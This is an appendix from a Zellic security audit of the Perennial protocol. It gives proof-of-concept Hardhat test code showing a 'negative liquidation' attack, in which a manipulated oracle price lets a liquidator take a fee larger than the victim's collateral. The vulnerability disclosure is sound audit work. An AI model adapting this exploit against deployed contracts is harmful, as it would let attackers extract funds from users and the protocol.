Assessment reports>Perennial>Appendix>Negative Liquidation PoC code

Negative Liquidation PoC code

Proof of concept code for Negative Liquidation attack:

describe('Liquidate', () => {
  let instanceVars: InstanceVars

  beforeEach(async () => {
    instanceVars = await loadFixture(deployProtocol)
    await instanceVars.chainlink.reset()
  })

  it('liquidates a user', async () => {
    const POSITION = parse6decimal('0.001')
    const COLLATERAL = parse6decimal('1000')
    const { user, userB, userC, dsu, usdc, chainlink, marketFactory } = instanceVars

    const multiInvoker = await createInvoker(instanceVars)
    const market = await createMarket(instanceVars)

    console.log("User deposits collateral");
    // approve market to spend invoker's dsu
    await multiInvoker
      .connect(user)
      .invoke([{ action: 8, args: utils.defaultAbiCoder.encode(['address'], [market.address]) }])
    await dsu.connect(user).approve(multiInvoker.address, COLLATERAL.mul(1e12))
    console.log("Deposited collateral: ", COLLATERAL);
    // simulate collateral from other users
    await dsu.connect(userC).transfer(market.address, COLLATERAL.mul(1e12))
    
    await multiInvoker
      .connect(user)
      .invoke(buildUpdateMarket({ market: market.address, maker: POSITION, collateral: COLLATERAL }))

    // Settle the market with a new oracle version
    await chainlink.nextWithPriceModification(price => price.mul(1.5))

    console.log("Position liquidated");
    const userBUSDCBalance = await usdc.balanceOf(userB.address)
    await expect(multiInvoker.connect(userB).invoke(buildLiquidateUser({ market: market.address, user: user.address })))
      .to.emit(market, 'Updated')
      .withArgs(user.address, TIMESTAMP_2, 0, 0, 0, '-1001000000', true) // 1001 is the maxliquidationfee parameter used
    await dsu.connect(userC).transfer(market.address, 1002e12)
    
    console.log("collateral after liquidation: ", (await market.locals(user.address)).collateral);
    console.log("token earned by liquidator: ", (await usdc.balanceOf(userB.address)).sub(userBUSDCBalance))

    expect((await market.locals(user.address)).protection).to.eq(TIMESTAMP_2)

    expect((await market.locals(user.address)).collateral).to.equal('-1000000') // user now has negative collateral in the market

    expect((await usdc.balanceOf(userB.address)).sub(userBUSDCBalance)).to.equal(parse6decimal('1001')) 

    console.log("attack successful");
  })
})
Zellic © 2025Back to top ↑